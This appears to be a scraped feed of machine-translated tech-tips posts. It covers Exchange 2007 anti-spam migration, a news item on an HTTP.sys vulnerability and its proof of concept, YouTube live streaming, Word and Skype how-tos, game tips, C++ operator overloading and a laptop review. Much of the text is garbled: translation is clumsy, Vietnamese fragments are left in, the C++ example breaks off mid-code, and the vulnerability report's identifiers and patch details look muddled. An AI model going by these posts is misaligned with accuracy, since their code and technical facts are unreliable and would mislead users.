easily.\nncG1vNJzZmismaXArq3KnmWcp51ksbOt1mauoqyYYsawwdFmnaKml5q%2FbrvNZphmnJWrtqSxjKusp6aZo7Ruw8inm6ivow%3D%3D\n","link":"/post/draw-with-your-finger-on-a-device-running-windows/","section":"post","tags":null,"title":"Draw with your finger on a device running Windows"},{"body":"In Exchange 2003, some basic anti-spam features were integrated, enabling system administrators to reduce unwanted commercial spam (UCE), viruses and malware in general. These functions include: • List of real-time removal service provider support. • List of rejection and extended acceptance. • Function of filtering mail by sender name. • Filter function by name of internal network recipient. • Ability to limit advanced submissions and relaying on an SMTP virtual server. • Convert with Outlook 2003, Outlook Web Access Block and Safe Lists. • Smart Exchange mail filter (SP2). Although these configuration settings are stored in Active Directory, they will not be converted directly to Exchange 2007 if you decide to upgrade to this new version. But nothing to worry about, the Anti Spam Migratioin Tool can help you handle the problem with a huge amount of information. This tool reads settings from Active Directory and converts them to the corresponding Windows PowerShell script, including Exchange 2007 activities that can be run on Exchange Server 2007's Edge Transport or Hub Transport. The following table shows you the list of conversion settings this tool supports:\nConnection Filtering • Global Accept and Deny List Configuration: This tool converts the information on the accepted list and rejects the corresponding Exchange 2007 parameter. IPAllowList Entry (IP address list allowed) and IPBlockListEntry (list of excluded IP addresses). For each list, there is a corresponding Add-IPAllowListEntry or Add-IPBlockListEntry written for the output script. • Block List Service Configuration: Convert the corresponding remove list service to the Exchange 2007 Add-InBlockListProvider activity. • Exception list to block list service rules: This setting is converted to BypassedRecipients parameter on IPBlockListProvidersConfig object using Set-IPBlockListProvidersConfig. Recipient Filtering • Filter recipients who are not in the directory (Filter recipient without name in directory): This setting is converted to RecipientValidationEnabled parameter on RecipientFilterConfig object using Set-RecipientFilterConfig. • Block messages that are sent to recipients: This setting is converted to BlockListEnabled and BlockedRecipients parameters on the RecipientFilterConfig object using Set-RecipientFilterConfig. Sender Filtering • Filter messages with blank sender: This setting is converted to the BlankSenderBlockingEnabled parameter on the SenderFilterConfig object. • Drop connection if address match filter (Disconnect if address matches filter): This setting is not converted because it is not supported in Exchange Server 2007. • Archive filtered messages: This setting is not converted because it is not supported in Exchange Server 2007. • Accept messages without notifying sender of filtering (Receive messages without notifying the sender filter): Setup is not converted because it is not supported in Exchange Server 2007. • Block messages from senders: The setting is converted to BlockedSenders, BlockedDomains, BlockedDomainsAndSubdomains and Action parameters on the SenderFilterConfig object using Set-SenderFitlerConfig. Sender ID Filtering • Sender ID validation failure action (Acknowledgment of error from sender ID): This setting is transferred to the SpoofedDomainAction parameter on the SenderIdConfig object using Set-SenderIDConfig. Intelligent Message Filtering • Gateway Blocking Configuration: This setting is converted to one of three SCL thresholds and one of three SCL parameters on the ContentFilterConfig object using Set-ContentFilterConfig. For example, if the SCL threshold is set to 6 and the operation is set to Delete, the corresponding task is Set-ContentFilterConfig -SCLDeleteThreshold: 6 -SCLDeleteEnabled: $ true -SCLQuarantineEnabled: $ false -SCLRejectEnabled: $ false • Custom Weight Entries: In Exchange Server 2003, these parameters are described in an XML file MSExchange.UceContentFilter.xml, located at the same location as the file Intelligent Message Filter DAT. To convert these settings, the tool can be invoked with a switch, allowing you to describe the file location. It then reads these parameters and converts each parameter to Add-ContentFilterPhrase. General settings • Perimeter IP List and Internal IP Range Configuration (Configure the range of internal IP address and list of IP address): This setting is converted to InternalSMTPServers parameter on the object. TransportConfig uses Set-TransportConfig.\nSetting \n Before installing this tool, you must ensure that all of the following requirements are met: • Use one of the operating systems: Windows Server 2000, Windows Server 2003; • Install Microsoft .NET Framework 1.1 or newer; • The account used to run this tool needs to have read access to the AD configuration container and has access to the MSExchange.UCEContentFilter.xml file. The process of installing this tool is quite easy: 1. Download Exchange 2007 Anti Spam Migration Tool. 2. Run Exchange2007AntiSpamMigration.msi, it will retrieve the corresponding tools and documents from the destination directory (set by default at C: Program FilesExchange2007AntiSpamMigration). This tool does not add any icons to the Start menu, so you will have to run it from the command line. Use the following:\nExchange2007AntiSpamMigration [/ f:] [/ o:] [/?] \n / f: Optional full path to MSExchange.UCEContentFilter.xml file. Nếu không rõ, tùy chọn từ hoặc từ ngữ này không được chuyển đổi. \n / o: Optional output file name. Nếu không ghi rõ, xuất được ghi vào MigratedSettings.ps1 trong hiện mục thư. \n /? Displays usage. \n Exporting Anti-Spam Settings\nTo test and run the tool, it is necessary to include the anti-spam settings of the Exchange 2003 environment. So you need to add some values ​​that can be converted later. The figure below illustrates the settings of the Exchange 2003 environment.\n  Figure 1 : List of perimeter IP addresses.\n  Figure 2 : Setting up mail filtering by sender.\n  Figure 3 : Filter connection.\n  Figure 4 : Filter by recipient.\n  Figure 5 : Smart mail filtering.\n  Figure 6 : Filter sender ID.\nAfter filling out the Exchange 2003 anti-spam settings with some random values ​​and running the tool, you will get a PowerShell script as shown in Figure 8.\n  Figure 7 : Running the tool.\n  Figure 8 : Result file.\nIn the test environment we used only a single Exchange 2007 Server, with three roles: Client Access, Mailbox and Hub Transport.\nSince the Hub Transport server only needs to be used when the Edge Transport does not perform anti-spam functionality, it is not allowed by default (Figure 9). Adding this functionality to the Hub Transport server is a fairly simple process. Just launch the Exchange Management Shell and in the Scripts folder created (C: Program FilesMicrosoftExchange ServerScriptsinstall-AntispamAgents.ps1), you just need to find a PowerShell script to install the Anti-spam agent. After completing these steps, you will see the Anti-spam tab allowed in the Exchange Management Console (Figure 11).\n  Figure 9 : Hub Transport without the Anti-spam tab\n  Figure 10 : Installing the Anti-spam agent.\n  Figure 11 : Hub transport with Anti-spam tab.\nWe now have a Hub Transport server with anti-spam agents and only have to run the export script (the results section) from Anti Spam Migration Tool (Figure 12). As you can see in the pictures below, all settings are successfully imported:\n  Figure 12 : Run the tool to enter the settings.\n  Figure 13 : Filter recipient.\n  Figure 14 : List of address filtering providers.\n  Figure 15 : Filter senders.\n  Figure 16 : Filter recipient.\nConclude Exchange Server 2007 provides several advanced anti-spam functions. If you are switching from Exchange 2003 to the current version, you will find this tool very valuable. The output script (results section) in PowerShell takes into account most of the previous settings and makes the conversion process quite easy. If you're curious a little bit more, you'll find that Exchange organizations in the example in the article aren't even in the same forest. So it can be affirmed that this tool works perfectly in the most general cases.\nncG1vNJzZmismaXArq3KnmWcp51ksrmvx5qloJ1dZ31xg4yapa2ho6WurnnFrqWcrJmku26vzqetnqqjnryvedOopqU%3D\n","link":"/post/exchange-2007-anti-spam-function-conversion-tool/","section":"post","tags":null,"title":"Exchange 2007 anti-spam function conversion tool"},{"body":"Vulnerability CVE-2021-3166 was first discovered in the HTTP Protocol Stack (HTTP.sys) used by the Windows Internet Information Services (IIS) web server as the protocol handler for handling HTTP requests.\nHowever, to exploit this vulnerability, an attacker would have to send a special packet to servers that still use the vulnerable HTTP Protocol Stack to process the packets. Thankfully, however, Microsoft recently patched this vulnerability as part of its recent Patch Tuesday update, so the vulnerability only affects Windows 10 20H2 and Windows Server 20H2.\nBecause this bug could allow an unauthenticated attacker to remotely execute arbitrary code, Microsoft recommends that organizations patch all affected servers as soon as possible.\nSecurity researcher Alex Souchet has released a PoC that lacks auto-spreading to show how an attacker can leverage CVE-2021-3166 to carry out attacks on Windows 10 systems and servers. vulnerable to attack.\n  By abusing the use-after-free vulnerability in HTTP.sys, Souchet's exploit could trigger a denial of service (DoS) attack leading to a blue screen of death (BSoD) on vulnerable systems. public.\nWhile releasing a PoC exploit for this vulnerability may make it easier for cybercriminals to develop their own exploits, the fact is that the vulnerability was patched and released by Microsoft during the Windows Update. 10, which means most systems are safe from attacks.\nHowever, if you haven't installed the latest Windows 10 update from Microsoft, now is the time to do so to avoid falling victim to any potential attacks that take advantage of this vulnerability.\nncG1vNJzZmismaXArq3KnmWcp51ksrm8y6igrWWTpLGmedGeo56Zo5qxbrzUrapmr5mjsbDD0mZoaWViZbVzecCnm2avmaOxsMPSZqqeqqaav25%2Bj6FpZpmkYr%2Bqv8o%3D\n","link":"/post/exploit-code-released-puts-windows-10-20h2-and-windows-server-20h2-at-risk/","section":"post","tags":null,"title":"Exploit code released puts Windows 10 20H2 and Windows Server 20H2 at risk"},{"body":"There are many reasons for your hard drive pooling or partition failure on Windows 10 to fail. This causes your computer to be limited or the computer does not run smoothly, making you uncomfortable. So this article of us will help you find 4 common causes and how to fix these errors.\nThe cause and how to fix it The two partitions you want to merge are located on two different hard drives\nThe best fix is, you can create a large partition - with the total space being greater than the two partitions you want to merge - on another hard drive, then copy the data to the large partition instead. .\nPartition is the system partition\nThere is no way to fix this error because this partition contains the files used to boot the system.\nInsufficient partition (less than 1GB)\nThe primary machine partition must have at least 1GB of free space. To fix not enough space, you need to delete unused files to free up more space for the primary partition. Or you need to put the second partition into an unallocated state. Then you use 'resized partition' to merge the unformatted state partition into the primary partition.\n  The two partitions are not next to each other\nTo fix this error, you can do it in 2 ways:\nManually: If there is enough space in the primary partition to save the data of the 2nd partition, you can copy the data of the 2nd partition and paste it into the primary partition, so that it is returned to the state. Format. You can then merge primary and unformatted primary partitions together to increase space for primary partitions. Use the Minitool Partition Wizard tool to merge 2 partitions that are not next to each other.   Thus, you can not merge the hard drive or partition because you may have encountered 1 of 4 reasons above. Please refer to the fix that we give to successfully manipulate!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjJ6pq6eiqHqkrc1mpaisXaKys7PEZp%2BaqpRisbO11Z6qZqiRp8GqwMiopaxln6N6uLXNnaawqw%3D%3D\n","link":"/post/fix-errors-can-not-merge-hard-drives-partitions-on-windows/","section":"post","tags":null,"title":"Fix errors can not merge hard drives, partitions on Windows"},{"body":"Before embarking on setting up a live video streaming system on YouTube with a computer, laptop, please read the number of tutorials posted on TipsMake.com below:\nStream videos directly on Facebook computers. How to record, play live video with iPhone, Android phone. Some basic information needed to know when live video is equal to YouTube. Guide live streaming, streaming live video on Youtube using computer, laptop Method 1: Stream live on YouTube using Open Broadcaster Step 1. To play live videos on YouTube, what do you need to prepare? Step 2. Configure, set up to transmit YouTube live video:  Method 2: Live stream on YouTube using OBS Studio Step 1: Install OBS Step 2: Get the live play key and set up OBS Step 3: Set up live broadcast information  Method 1: Stream live on YouTube using Open Broadcaster Step 1. To play live videos on YouTube, what do you need to prepare? A stable browser, with a number of options as follows:\nGoogle Chrome. Mozilla Firefox. Coc Coc. Internet Explorer - Microsoft Edge. Opera. 1 Google account to be able to use other services like YouTube, Google Plus . How to create an account, read it here!\nSoftware supports Broadcast - completely free on Windows.\nStep 2. Configure, set up to transmit YouTube live video: First, log into your YouTube account, select the Live Streaming section under the following link:\nhttps://www.youtube.com/live_dashboard Note that if your YouTube, Chrome are displaying Vietnamese, you can switch back to English to be the same as the screenshot in this way.\n  In the Basic Info tab:\nEnter a title for the video. Content describing the channel. Select the appropriate category in the Category section The Encoder Setup section remains the same, with no action.   Switch to Stream Options tab, depending on the speed and stability of the Internet, choose:\nOptimize for interaction (low latency): understandably, latency will be low - for a network with tremendous speed. Optimize for less viewer buffering: for normal and weak networks, and of course the latency will be higher.   The third tab, Monetization is for you to turn on the video-based monetization function, of course your account must be \"clean\" to use this. The fourth tab, Cards - creates a connection to other videos and channels - this I will mention in another article.\nSuch a profile is temporarily fine, now turn on Open Broadcaster. The basic settings remain the same as when you configure live streaming of Facebook videos on your computer, you can review the old memories here.\nGo to Settings\u0026gt; Settings\u0026gt; Broadcast Settings as shown below:\n  Go back to the YouTube setup screen, in the Encoder Setup section, copy the URL Server and Stream name / key and paste it into Settings in Open Broadcaster :\n  OK, go back to the Open Broadcaster main screen, click Start Streaming , and wait for a while, the video will be played live - directly on YouTube account:\n  And latency - the time to appear videos on YouTube will vary by about 1-3 minutes depending on the Internet speed. Your channel will be live at the same link as below:\nhttp://www.youtube.com/c/quantrimang/live - this is the live channel address of TipsMake.com! And you just need to copy that link to share with friends. To chat with someone watching the channel, you can type in this window:\n  The whole view of your YouTube screen will look like this. Note that if the Live icon on YouTube:\nBeing green is normal: at that time, the network speed is stable, or good. Has a yellow or red color corresponding to a slow, problematic network speed - You need to check again. The upper right corner is the live video playback statistics - Elapsed Time, and the number of people watching - Watching.   If you don't want Stream - play live video again, click Stop Streaming on Open Broadcaster. Unlike live video on Facebook, YouTube does not have video playback feature, and Facebook will automatically playback your video on the Timeline at the end of the event.\nMethod 2: Live stream on YouTube using OBS Studio YouTube's live stream support has become better and is now Twitch's competitor. If you are a YouTube content creator and want to play the game live on this platform, follow the steps in the following tutorial.\nInstructions on how to create a YouTube Channel Step 1: Install OBS OBS is a popular streaming and recording program. It takes the output of the game and then plays it directly to YouTube or Twitch. OBS setup is quite simple but comes with many advanced settings you can configure.\n  In general, you will get good performance when running screen capture software at the same time as the game. However, if you use a low-profile system, you will not achieve the desired performance even though the settings and recording quality can be adjusted.\nDownload : OBS Studio\nStep 2: Get the live play key and set up OBS   Right-click your avatar in the upper right corner of YouTube settings, then select Creator Studio . You will see the key played directly in the Live Streaming section in the Encoder Setup .\nOpen OBS and start the automatic configuration wizard. When it comes to Stream Information , change Twitch to YouTube and then paste the key directly from YouTube's settings.\n  You should keep this key in a safe place because if someone can't broadcast it directly to your channel. If you can't get the key, you can reset it from the YouTube dashboard.\nStep 3: Set up live broadcast information   You will have to set this playback information every time live stream. YouTube works a little differently than Twitch when it plays live. On Twitch, you just need to select the game you're playing and title it live. On YouTube, live game play is similar to live video streaming, so you need thumbnails, titles, descriptions and metadata in a regular video. In addition, you also have the option of public streaming, offline or private mode if you want to check the live broadcast settings before playing.\nIn Stream Options , you can enable or disable DVR, create live broadcast storage after completion and select the waiting time. In addition, you can add time delay if there is a problem with the Stream sniping feature (see live channels of other players).\n  In Advanced Settings , you can configure chat options such as turn on slow mode and only members can send chat messages.\n  From here, click Start Streaming in OBS to start streaming and you will see the game streamed in the YouTube dashboard.\nIf you have enabled monetization, you can activate ads while live streaming and allow others to contribute when chatting. If you have a second screen, you can drag the dashboard to this screen so that you can both follow the live broadcast and read the comment.\nI wish you all success!\nSee more:\nHow to stream games on Twitch with OBS This is how Live Stream Facebook Video on PC, Fanpage How to play live video on YouTube? ncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kpaGmmnq0wNGemKahnpx6tMDRnpimoZ6ceq211Z5kr6GUmrxuu81msKitpKqvpnnUrKCnn12YvK681K2cq2Wclr21u88%3D\n","link":"/post/guide-live-streaming-streaming-live-video-on-youtube-using-computer-laptop/","section":"post","tags":null,"title":"Guide live streaming, streaming live video on Youtube using computer, laptop"},{"body":" Pages is a word processing application on Mac OS X similar to Microsoft Word on Windows-based computers. Since Windows is dominant across most corporate and educational environments, there are times you may be required to convert Pages...\nMethod 1of 2:\nUsing Pages  Open the Pages document you want converted to Word format.\n  Click on 'File,' point to 'Export To,' and select 'Word' from the submenu. This will open the 'Export Your Document' dialog box.\n  Click on the 'Word' tab, then click on the small arrow displayed to the left of 'Advanced Options.'\n  Select your preferred Word document format from the options provided. To make the Pages document compatible with newer versions of Microsoft Word, select '.docx.' To make the Pages document compatible with Microsoft Word 1997 to 2004, select '.doc.'\n  Click on 'Next,' then type a name for the file into the 'Save As' field.\n  Indicate where you want the file saved using the 'Where' field, then click on 'Export.' Your Pages document will now be converted to Word format and saved in the location specified.[1]\n Method 2of 2:\nUsing Third-Party Services  Launch your Internet browser and navigate to your favorite search engine.\n  Enter search terms such as 'pages to word,' 'pages to doc,' or 'convert pages to word' to locate one or more third-party online services you can use to convert your document to Word. Examples of services you can use are CloudConvert and Zamzar Online File Conversion.[2]\n  Click on 'browse' or 'select' to choose the Pages file you want converted. The site will open a 'browse' window that allows you to navigate to and select the Pages file on your computer.\n  Select 'doc' or 'docx' from the format dropdown menu, if applicable. To make the Pages document compatible with newer versions of Microsoft Word, select '.docx.' To make the Pages document compatible with Microsoft Word 1997 to 2004, select '.doc.'\n  Indicate how you want to be notified when the website finishes converting the document to Word. In most cases, you'll be required to provide your email address so the site can send you the converted file via email.\n  Click on 'Convert.' The website will convert your Pages document to Word format, and send you the file using the method specified.\n  Marvin Fry Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmp5qflah6tbuMsKarnA%3D%3D\n","link":"/post/how-to-convert-pages-to-word/","section":"post","tags":null,"title":"How to Convert Pages to Word"},{"body":"EdrawMind is a fully featured professional mind mapping, brainstorming tool. Whether a student, teacher, project manager, product manager or marketer, everyone can organize and scientifically present ideas that spark and drive better results with EdrawMind . In this article, let's learn the steps of setting up a mind map with EdrawMind and EdrawMax.\nSteps to create a mind map using EdrawMind Step 1: Open EdrawMind Download and install EdrawMind on your PC here. People can also choose EdrawMind Online if they prefer to use it on a web browser.\nAfter opening EdrawMind, there are several common types of mind maps and diagrams such as fishbone and timeline diagrams. All are freely available templates created by the amazing designers of EdrawMind.\n  Step 2: Start creating mind maps Build a mind map with the ideas you already have in your mind. Add themes, relationships, images and change the colors to your liking. All the tools and options for styling the diagram are in the top menu and right panel.\n  If having trouble creating a diagram from scratch, try the One-click mind map generation and Branch Free Positioning features. These tools will make creating mind maps in EdrawMind easier than ever.\nStep 3: Export and share your mind map Once the mind map is completed, users can download it, publish it in various file formats, or post it to a social media channel. Share your mind map with group members, friends to discuss projects or memorize lectures quickly and easily.\n  How to create mind maps with EdrawMax With 280 types of diagram solutions, anyone can use EdrawMax for every stage of their workflow. Its interface is quite similar to Microsoft, drag and drop feature and professional templates make setting up a mind map in EdrawMax extremely simple.\nStep 1: Open EdrawMax Download and install EdrawMax here or use EdrawMax Online on any device with an internet connection.\nOpen EdrawMax, navigate to Basic \u0026gt; Mind Map and everyone will find pre-made mind map templates. Choose one of the templates or click an icon to design a new diagram from scratch.\n  Step 2: Figure out what you're thinking Add topics, points and arguments by dragging and dropping the icons on the toolbar as you like.\nEdrawMax supports changing mind map styles with available design tools and options. Users can also add images to help visualize and remember different parts of the mind map more intuitively.\n  Step 3: Save and share mind maps Once the mind map is completed in EdrawMax, everyone can publish their mind map on the template community and allow more people to view their map.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYymoKecXaKusb%2BMsKCtoF2asbOt1qagp5xdlrulecSdqZqvnZbF\n","link":"/post/how-to-create-mind-maps-with-edrawmind-and-edrawmax/","section":"post","tags":null,"title":"How to create mind maps with EdrawMind and EdrawMax"},{"body":"In the process of working with Word 2010 accidentally you do not see the vertical ruler and the horizontal ruler, also known as the ruler bar. You are not sure how to display two bars so that you can work and align the document. Here are ways to make the bar in Word 2010, please follow along.\n  First, you need to open Word 2010, to show the ruler - the rule bar you can do one of the following:\nMethod 1 : Select the View tab , in the Show you tick the Ruler check box to show the ruler in Word 2010.\n  If you want to hide the ruler, then uncheck the Ruler box .\n  Method 2 : On the vertical scroll bar, click the View Ruler icon to display the ruler in Word 2010.\n  If you want to hide you click on the icon again.\n  Method 3: Use the shortcut Alt + W to turn on the shortcut of the View tab , next you choose R to display the ruler in Word 2010. If you want to hide the ruler, press Alt + W again and select R.\n  Method 4: Show vertical ruler in Word 2010.\nIf only the vertical ruler bar is hidden, you can follow the steps below to display the vertical ruler bar again.\nStep 1 : Select File -\u0026gt; Options.\n  Step 2 : On the Word Options window , select the Advanced tab . On the right, scroll down to Display and check the box before Show vertical ruler in Print Layout view and click OK .\n  Thus, the vertical ruler bar will be displayed. Hope this article will help you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYpMRuwMeeZKutnJq%2FbrXNZq6oqpRif3F9j2aYp5xdqbWmedGuo55lkpa%2FbrXNZq6oqpRif3F9jw%3D%3D\n","link":"/post/how-to-show-the-ruler-in-word-2010-and-the-rule-bar-in-word-2010/","section":"post","tags":null,"title":"How to show the ruler in Word 2010 and the rule bar in Word 2010"},{"body":"Currently, texting and calling through the Internet has never been more common. With the era of 4.0, there are many providers of free calling services via the Internet. One of them we cannot help but mention Skype. This is a software from a very famous Microsoft manufacturer. In this article, Software Tips will guide you how to register Skyper nick to use.\n  1. Sign up for a Skype account Step 1: You proceed to access the following link to the account registration page of Skype https://signup.live.com/signup.\nStep 2: At this step, the software tips will guide you into two parts because on Skyper support users to register with both phone numbers and email . Register by phone number:\nThe first thing you need to do is to select Vietnam (+84) so that you can receive an activation code for your phone number. Then you proceed to enter the phone number and click Next .\n  Register by E-mail :\nAt the interface of the account registration homepage, you select Use your email instead to register with your Email .\n  Then you proceed to enter your Email address in the box and click Next to continue.\n  Step 3: Next, Skype requires you to create a password for your account. You should note the following:\nThere is a special character There are capital letters There are numeric characters    Step 4: You proceed to enter the verification code in the box and click Next to register.\n  Step 5: Next, you need to name your account. The first line is the middle name and the bottom line is your name . My name, you can put accents for your convenience and use.\n  Step 6: This is the step where Skype will check your information. If you register with your phone number, there will be a message code , but if you register by email, you will receive an email containing the code .\n  Step 7: You proceed to enter the code that Skype sent to you in the box on the registration page and click Next .\nBe sure to check the box : I Would like information, tip, and offers about Microsoft products and services to agree to its terms of use.\n  Step 8: After that, Skype will automatically login for you. You have successfully registered for a Skype account !\n  II. How to use Skype basically 1. Download Skype When you register for a Skype account, Skype will automatically log you in to the Website version. For the browser version we still have all the features but it will be much more inconvenient. You can download your Skype to your computer for more convenient use.\nLink Download: https://www.skype.com/en/get-skype/.\n2. Make friends on Skype The way to make friends on Skype is very simple, you can search for friends via phone number, Gmail or the name of the user.\nFirst, enter the name of the person you need to make friends into the search city. Then you press the Make friends to send the invitation.\n  3. How to send files on Skype Click the Documents icon in the message bar to turn on File sending mode. Sending File on Skype is very diverse, you can send photos, audio, compressed files, .\n  Then you proceed to select the File you want to send to send.\n  You note: Skype only supports file transfers of less than 300MB. If the file is larger, it will not work!\n4. How to remove sent messages One of the very interesting features of Skype helps users to correct unwanted mistakes. To delete the message you do the following:\nRight-click on the message you want to remove and select Remove .\n  5. How to reply to the message If you talk too much in the conversation and you're worried that people don't understand what you're answering:\nRight-click on the message you want to reply and select Quotes .\n  Then you enter the content you want to answer here.\n  Finally, press Enter to send you will have an answer as follows:\n  6. How to log out of Skype If you use a shared computer, signing out to start Skype after every working hour is a necessity.\nYou select the icon \" Three dots \" and choose Sign out .\n  Thus, Software Tips have shown you how to register for a Skype account fastest and easiest. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquZnLtuwc9mnaiqXai4urzEZpqrnZGpsm6tjKyisqiVYq6kr86upa1lo5rBbsHPZphmq5uuvaZ5zaKapGWkpHqktMCtZLChpJ16p77InqWdqw%3D%3D\n","link":"/post/how-to-sign-up-for-skype-create-a-skype-account-set-up-a-skype-nick-to-chat-with-friends/","section":"post","tags":null,"title":"How to sign up for Skype, create a Skype account, set up a Skype nick to chat with friends"},{"body":"On Chrome browser or most browsers are enabled to automatically play promotional videos on websites. These ads will usually be in the corner of the screen and will affect users when using the site. Instead of having to directly turn off each ad every time they appear, users can change the browser settings to turn off video playback. The following article will guide you how to turn off the auto-play feature on Chrome and Firefox.\nHow to stop videos automatically played in the YouTube application How to turn off self-running videos on Microsoft Edge How to prevent GIFs from automatically playing in the browser 1. Turn off videos that automatically play on Chrome Step 1:\nAt the address bar in Chrome browser, enter chrome: // flags / # autoplay-policy and press Enter to access.\n  Step 2:\nIn the yellow Autoplay policy line, there will be an option menu with 4 different options:\nDefault: Automatically plays videos that are enabled. No user gesture is required: Auto play is enabled. User gestures are required for cross-origin iframes: Automatically play videos enabled for videos that are not linked on other sites, such as videos linked to YouTube Document user activation is required: The video automatically plays after you press or interact with the web page. Click on the Document user activation required to block automatic playback, unless you press or interact with the site.\nThen reload the Chrome browser for the changes to take effect.\n  In addition, the flash videos on Chrome on each website when accessed will be asked before users want to play the video or not. But users can also customize which websites want to play videos, or want to block video playback.\nOn the website with flash video click on the icon of the padlock icon in the address bar, then click Next Web site settings .\n  In the custom interface you drag down the Flash, there are automatic video playback control options on the browser. Depending on the website, users can choose different settings, to block them completely or ask before they play.\n  2. Turn off automatic video playback on Firefox Step 1:\nGo to about: config in Firefox and click I accept the risk to agree to access.\n  Step 2:\nIn the search bar enter the keyword media.autoplay . Then click on the media.autoplay.default option. By default, the option currently displaying 0 means always playing videos automatically on Firefox browser.\n  Here you can switch to one of the other two values, 1 to block video playback on the browser, or enter 2 to ask before playing the video automatically.\n  Both Chrome and Firefox have the option to control the auto-play feature on the browser. We can leave the question mode before you want to play, or as on Chrome completely turn off the video playback, as long as you don't interact with the site.\nSee more:\nHow to fix SSL connection errors on Chrome and Firefox How to block ads when surfing the web How to turn off automatic video playback on App Store iOS 11 I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZJqtpKS9ra3YZq2inJWkwG67zWaaoaqforJurc2dZJ%2BhopqzsMQ%3D\n","link":"/post/how-to-turn-off-auto-play-videos-on-chrome-and-firefox/","section":"post","tags":null,"title":"How to turn off auto-play videos on Chrome and Firefox"},{"body":"Gamers can also make requests of citizens in Portia to receive a commission. Along with that is the decorative element, allowing people to freely decorate their home.\n  Participating in My Time At Portia, everyone also has a duty to help the mayor, the local police force to keep Portia a safe space and attract a lot of tourists.\nIt sounds complicated, but with these helpful My Time at Portia tips, players can easily be the best in Portia without struggling through dozens of challenges.\nTips for playing My Time at Portia Repair the house as soon as possible When I first moved into my dad's old house, the floorboards were pulled up and the whole place looked like a mess. Although there was a lot of other work to do, let's make it a priority. house repair.\n  The sooner the rotting boards are fixed, the more time a character can endure while sleeping, which means people can do extra work during the day.\nTo fix every hole in the house, gamers will need 33 wooden sticks. It is also possible to get sticks lying around in the grass outside Portia, or craft a stone ax and chop down trees.\nMonitor your financial situation After embarking on a journey into the Sewage Ruins or one of the Abandoned Ruins, gamers will find themselves with lots of extras that they don't really need (such as old-fashioned dark pink leather sofas).\n  Although I just want to sell them as quickly as possible to free up space, keep them until their market price is higher. Players can see how the local economy is doing by looking to the right of the items on sale. There, the player can see a percentage of the market price he will receive for his items. Don't sell when the price is below 100% and if you are patient, wait for it to enter around 110%.\nPurple dot in Abandoned Ruin leads to Abandoned Room During Abandoned Ruin mining, gamers will detect relics using the Relic Scanner, which appear as small yellow dots on the screen.\n  Players will also find purple dots, indicating an Abandoned Room nearby. These are areas that are mostly low-level enemies, so it's easy to clean up and get a chest as a bonus.\nArrange furniture to get stat bonuses Decorating the house with furniture not only makes it beautiful, but also provides bonus stats. The leather sofa will add defense, while the sideboard will increase the player's health.\n  Players can craft them using the job board, and make sure to upgrade it if you want to create useful stuff. There are also crafting recipes for some pieces of furniture from local stores, so keep an eye out if you want a stunning home that matches your taste and aesthetic.\nncG1vNJzZmismaXArq3KnmWcp51kurp506KknmWRqXqxu9GtoJplpJ69tHnFqKlmmpWctq%2B6xKuq\n","link":"/post/my-time-at-portia-tips-for-beginners/","section":"post","tags":null,"title":"My Time at Portia tips for beginners"},{"body":"The unary operator in C ++ operates on a single operand and here are some examples of single-operator operators:\nOverloading the increment operator (++) and decreasing operator (-) in C ++.\nOperator unary (-) in C ++\nNegative logical operator (!) In C ++\nThe unary operator operates on the object to which they are called, and usually this operator appears to the left of the object, such as :! Obj, -obj, and ++ obj , but sometimes they can be used as is suffix like obj ++ or obj-- .\nThe following example explains how the (-) operator can be overloaded with the use of the prefix as well as the suffix.\n#include using namespace std ; class KhoangCach { private : int met ; int centimet ; public : // khai bao cac constructor KhoangCach (){ met = 0 ; centimet = 0 ; } KhoangCach ( int m , int c ){ met = m ; centimet = c ; } // phuong thuc de hien thi khoang cach void hienthiKC () { cout Compiling and running the above C ++ program will produce the following results:\n  Hopefully the above example will help you understand this concept and you can apply for operator operator (!) In C ++.\nAccording to Tutorialspoint\nPrevious post: Load operator and Load overlap in C ++\nNext lesson: Overload binary operator in C ++\nncG1vNJzZmismaXArq3KnmWcp51kvLex0aWmmpxdqbWmec6nnKydkal6sLzEq5itp6Jitq95wmY%3D\n","link":"/post/overload-the-one-seat-operator-in-c/","section":"post","tags":null,"title":"Overload the one-seat operator in C ++"},{"body":"Manufacturer Lenovo has implemented a rather unique customization on this product, which allows theoretical users to experience 4 working days on a computer without plugging in a charger.\nInheriting the ultra-durable magnesium alloy frame and ultra-light carbon fiber casing of the ThinkPad line, the T430 version adds new technologies to reduce volume, improve mobility and enhance component protection. .\nThe ThinkPad T430 has 4 USB ports with 2 ports 3.0 located on the left edge, 1 port 2.0 on the right edge and 1 2.0 port on the rear edge, next to the power button. A special feature is the USB 2.0 port on the rear edge which is \"Always On - so users can charge the handset when needed without turning on the device. Next to the USB 3.0 port is the mini-Display Port, which connects future video audio with great bandwidth advantages.\n  The T430 is a business service machine and communicates at a high level of performance. The device integrates the most advanced Intel microprocessor currently 4-core Core i7-3520M clocked at 2.9 GHz. Along with 4 GB of internal memory, 420 GB hard drive and Intel HD 4000 graphics card built on Ivy Bridge technology (with custom NVIDIA NVS 5400M 1GB or 2BG Optimus Technology discrete card).\nLenovo has included some applications to optimize performance. For example, Rapidboot and Lenovo Enhanced Experience 3 technologies for Windows 7 help T430 launch Windows 7 Professional 40% faster than other PCs with the same configuration.\nAnother app that was first demonstrated as Lenovo Apps (instead of ThinkVantage) was also appreciated. Lenovo Apps has built-in social networking applications, popular news and audio and video management features of the device to minimize manipulation, reduce the gap between information and users. A noteworthy new technology on the T430 is Intel Smart Connect that helps the device switch from Stanby (rest) status to Online (working) in an instant.\n  The T430 Web Conference solution is also enhanced with audio optimization using Dolby Advanced Audio v2 technology and 720p HD webcam with face-catching features. On the phone, the stereo speakers are placed on both sides of the keyboard, making the harmony very lively and honest. Users can both enjoy a high-quality, email-enabled and text-based symphony on Lenovo's own unique AccuType keyboard.\nUsers can choose to customize the keyboard backlight function for use in dark lighting conditions. The new layout is a bit strange but the sensitivity and smoothness of the T430 keyboard still belongs to the top laptop keyboards available on the market.\n  T430 as well as other ThinkPad products are always equipped with the best in security technology in the segment, including fingerprint security, data encryption of the entire hard drive, USB connection management, encryption Hardware connection and BIOS security.\nThe 